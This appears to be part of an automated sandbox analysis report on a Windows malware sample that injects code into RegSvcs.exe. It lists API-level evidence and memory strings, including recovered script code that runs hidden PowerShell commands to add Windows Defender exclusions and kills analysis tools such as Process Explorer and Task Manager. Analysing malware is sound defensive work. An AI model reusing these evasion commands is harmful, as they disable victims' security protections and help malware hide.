                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944A80 mov eax, dword ptr fs:[00000030h]14_2_01944A80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A8A90 mov edx, dword ptr fs:[00000030h]14_2_018A8A90
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878AA0 mov eax, dword ptr fs:[00000030h]14_2_01878AA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878AA0 mov eax, dword ptr fs:[00000030h]14_2_01878AA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C6AA4 mov eax, dword ptr fs:[00000030h]14_2_018C6AA4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C6ACC mov eax, dword ptr fs:[00000030h]14_2_018C6ACC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C6ACC mov eax, dword ptr fs:[00000030h]14_2_018C6ACC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C6ACC mov eax, dword ptr fs:[00000030h]14_2_018C6ACC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870AD0 mov eax, dword ptr fs:[00000030h]14_2_01870AD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A4AD0 mov eax, dword ptr fs:[00000030h]14_2_018A4AD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A4AD0 mov eax, dword ptr fs:[00000030h]14_2_018A4AD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AAAEE mov eax, dword ptr fs:[00000030h]14_2_018AAAEE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AAAEE mov eax, dword ptr fs:[00000030h]14_2_018AAAEE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FCA11 mov eax, dword ptr fs:[00000030h]14_2_018FCA11
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189EA2E mov eax, dword ptr fs:[00000030h]14_2_0189EA2E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018ACA24 mov eax, dword ptr fs:[00000030h]14_2_018ACA24
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018ACA38 mov eax, dword ptr fs:[00000030h]14_2_018ACA38
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01894A35 mov eax, dword ptr fs:[00000030h]14_2_01894A35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01894A35 mov eax, dword ptr fs:[00000030h]14_2_01894A35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880A5B mov eax, dword ptr fs:[00000030h]14_2_01880A5B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880A5B mov eax, dword ptr fs:[00000030h]14_2_01880A5B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01876A50 mov eax, dword ptr fs:[00000030h]14_2_01876A50
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01876A50 mov eax, dword ptr fs:[00000030h]14_2_01876A50
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA2CE0 GetProcessHeap,0_2_00DA2CE0
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D96878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00D96878
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D9AAC4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00D9AAC4
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D96A0B SetUnhandledExceptionFilter,0_2_00D96A0B
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D95BBF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00D95BBF
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008D29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_008D29B2
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C0BCF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_008C0BCF
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C0D65 SetUnhandledExceptionFilter,8_2_008C0D65
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C0FB1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_008C0FB1
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EE29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_00EE29B2
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED0BCF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_00ED0BCF
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED0D65 SetUnhandledExceptionFilter,15_2_00ED0D65
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED0FB1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,15_2_00ED0FB1

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Allocates memory in foreign processes
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and writeJump to behavior
                Contains functionality to inject code into remote processes
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_3_00BD0000 CreateProcessW,VirtualAllocEx,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,15_3_00BD0000
                Injects a PE file into a foreign processes
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5AJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: E73008Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 4AA008Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00901A91 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,8_2_00901A91
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A3312 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,8_2_008A3312
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $colitems = $owmi.execquery("select * from antivirusproduct")memstr_7ea51c82-2
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: for $objantivirusproduct in $colitemsmemstr_87eac68f-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $usb = $objantivirusproduct.displaynamememstr_cb00d7ef-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nextmemstr_2aed8ea3-4
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: return $usbmemstr_71fb4585-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: endfunc ;==>antivirusmemstr_48e14989-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: func disabler()memstr_08799514-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;if antivirus() = "windows defender" thenmemstr_10961a11-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;#requireadminmemstr_8d2dbd10-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " -command add-mppreference -exclusionpath " & @scriptdir, "", "", @sw_hide)memstr_451d63e8-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionprocess 'regsvcs.exe'", "", "", @sw_hide)memstr_f2ff6ef1-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbs'", "", "", @sw_hide)memstr_12585e77-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbe'", "", "", @sw_hide)memstr_d2453c5e-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbs'", "", "", @sw_hide)memstr_136ccb6e-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbe'", "", "", @sw_hide)memstr_a9c59db6-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;endifmemstr_d7cd1fc0-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: endfunc ;==>disablermemstr_0f30c4b6-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: func antianalysis()memstr_51a34fdc-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if winexists("process explorer") thenmemstr_0d3df61e-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: winclose("process explorer")memstr_007a72b1-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("procexp64.exe")memstr_ad13454a-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("procexp.exe")memstr_157cb809-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if winexists("process hacker") thenmemstr_b9a34056-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: winclose("process hacker")memstr_9d63476f-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("processhacker.exe")memstr_d4d49089-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if processexists("taskmgr.exe") thenmemstr_2922e96d-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("taskmgr.exe")memstr_68f6e708-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if processexists("regshot.exe") thenmemstr_a8eecfbc-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: acting gdndisxdbe.gmg@memstr_eb1e48ff-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !8ciiiiiimemstr_29910184-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3memstr_c4e5bb8d-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 33333333333333333333333333333333memstr_c42be885-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 00000000000000001111111111111111222222222222222244444444444444445555555555555555777777777777777788888888888888889999999999999999rrrrrrrrrrrrrrrrtttttttttttttttt66666666aaaaaaaaddddddddggggggggoooooooottttttttuuuuuuuuvvvvvvvvwwwwwwwwbbbbbbbbddddddddeeeeeeeeggggggggiiiiiiiillllllllnnnnnnnnooooooooppppppppssssssssvvvvvvvvwwwwwwwwbbbbcccceeeeffffhhhhiiiillllmmmmpppprrrrssssxxxxyyyyzzzzaaaaccccjjjjkkkkmmmmuuuuxxxxyyyymemstr_defa0ffb-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jjkknnqqffhhqqzzmemstr_84bad0f3-2
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 01245789rt6adgotuvwbdegilnopsvwbcefhilmprsxyzacjkmuxymemstr_0afa9a4e-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jknqfhqzmemstr_be805b20-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_a1dac613-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ____rrrrmemstr_4580f993-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qqttxxmmoomemstr_6c89790d-4
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !%&'()*+./0139:;<>?cgimnpswy[\]^abcdfjlnpqsuwmemstr_ed804923-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qtxmomemstr_d61c08af-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !#######memstr_012a42ac-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_8c5437d2-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_85136819-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ##,,--<<aajjss__oomemstr_c26187fb-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "$()*.1345789;=>?bcdeghkmnopuz\emns~memstr_5770c359-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #,-<ajs_omemstr_7f96fc28-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: """""""memstr_16a5db3c-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ########memstr_64ca264d-2
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_41271bfe-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: aaaaddddeeeeiiiilllloooossssuuuumemstr_a3a8261e-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ""$$((..2233aabbccddeehhiillmmnnpprrssttuuvv__bbccffgghhkkmmnnpprrttwwxxyymemstr_8c5ca5e7-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !#%&')*+,-/014568<=>?@fgjkoqwxyz[\]^`jvz{|memstr_441cf42b-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: adeilosumemstr_112c4164-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "$(.23abcdehilmnprstuv_bcfghkmnprtwxymemstr_f94c4b1d-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 79:;q}~memstr_2548ea12-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !$%'''''memstr_d548a99b-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !#####memstr_c4a216cc-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_7c8c2bc7-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 77778888memstr_52d83d91-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ""##''++,,--//0011223344556699::;;<<==>>??@@ccddggnnppssuuvvwwxxzz\\]]__aabbccddeeffggiillmmnnooppqqrrssttuuvvwwxxzz{{||~~memstr_15775667-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !$%&()*.abefhijklmoqrty[^`hjky}memstr_5b67dc21-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "#'+,-/01234569:;<=>?@cdgnpsuvwxz\]_abcdefgilmnopqrstuvwxz{|~memstr_75cffcd7-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !$&&&&&memstr_5c34e48b-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_32748070-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $,18@dghklrtx[\_`bhiklpstuwxyz|}~memstr_86cbdc38-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "*037:>cinpvadgmqvmemstr_5e85f802-1
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !.=q^memstr_af6ba745-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "(*+023579:<>?ceijnopsvzacdfgjmoqrv{memstr_8fb4200a-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !%&)./46=afmquwy^enmemstr_118bec19-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !!!!!!memstr_c38ddd8f-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_902dfb0d-3
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ????????memstr_0183e247-4
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <<==``pp~~memstr_c811172c-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !$*+,-/34579@bgjmop\^bfmomemstr_360708f0-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #0:fkx]agsy{memstr_110c8386-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <=`p~memstr_6a586102-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #&06:dfikrx[]_acgnswyz{}memstr_96ddcb34-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: """"""memstr_486dab44-0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2171561692.0000000003448000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memstr_d9a255d9-3
                Source: qPLzfnxGbj.exe, 00000000.00000002.2304607293.000000000314E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: \??\c:\windows\syswow64\wintypes.dllwintypes.dl\??\c:\wmemstr_53bd4e25-6
                Source: qPLzfnxGbj.exe, 00000000.00000002.2304607293.000000000314E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: g8w##memstr_06a5953c-7
                Source: qPLzfnxGbj.exe, 00000000.00000002.2304607293.000000000314E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: pp8w 08memstr_2d54add7-b
                Source: qPLzfnxGbj.exe, 00000000.00000002.2304607293.000000000314E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: y4w 08memstr_b82e3fb3-e
                Source: qPLzfnxGbj.exe, 00000000.00000002.2304607293.000000000314E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: +s++ 08memstr_5f32affe-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -w8l+r*memstr_d0bcf8af-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "@"u"memstr_3c7b03ed-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3x7{ memstr_977bf12b-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2q#_!memstr_d3b95ef3-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +t,x#memstr_3abce3dd-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $.!m)memstr_4bb92cec-9
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0( j'memstr_ded7e6ee-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !q59-r)9 @%q+memstr_790bd677-8
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: *>%j "'w"memstr_58193792-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6f&m$memstr_95ecefb2-7
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4v6x+memstr_285b11e9-f
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #0)n(#memstr_d8ce78dd-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +#&e"memstr_cf6e6cff-4
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8v'd0memstr_e24340f3-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3/*046,memstr_8f5b2f81-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !i%|"@,i',2memstr_e496fac5-e
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3(4h-v$memstr_9302e064-5
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !9.q$memstr_6c9ae929-c
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6v2~ %0x.memstr_c983247b-6
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 19"s"memstr_fbf96d70-a
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: *_ @1memstr_2192e5d5-b
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &\ l&8+memstr_b24df16c-d
                Source: qPLzfnxGbj.exe, 00000000.00000003.2179964607.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: )>!,$e+7$memstr_d182faf0-9
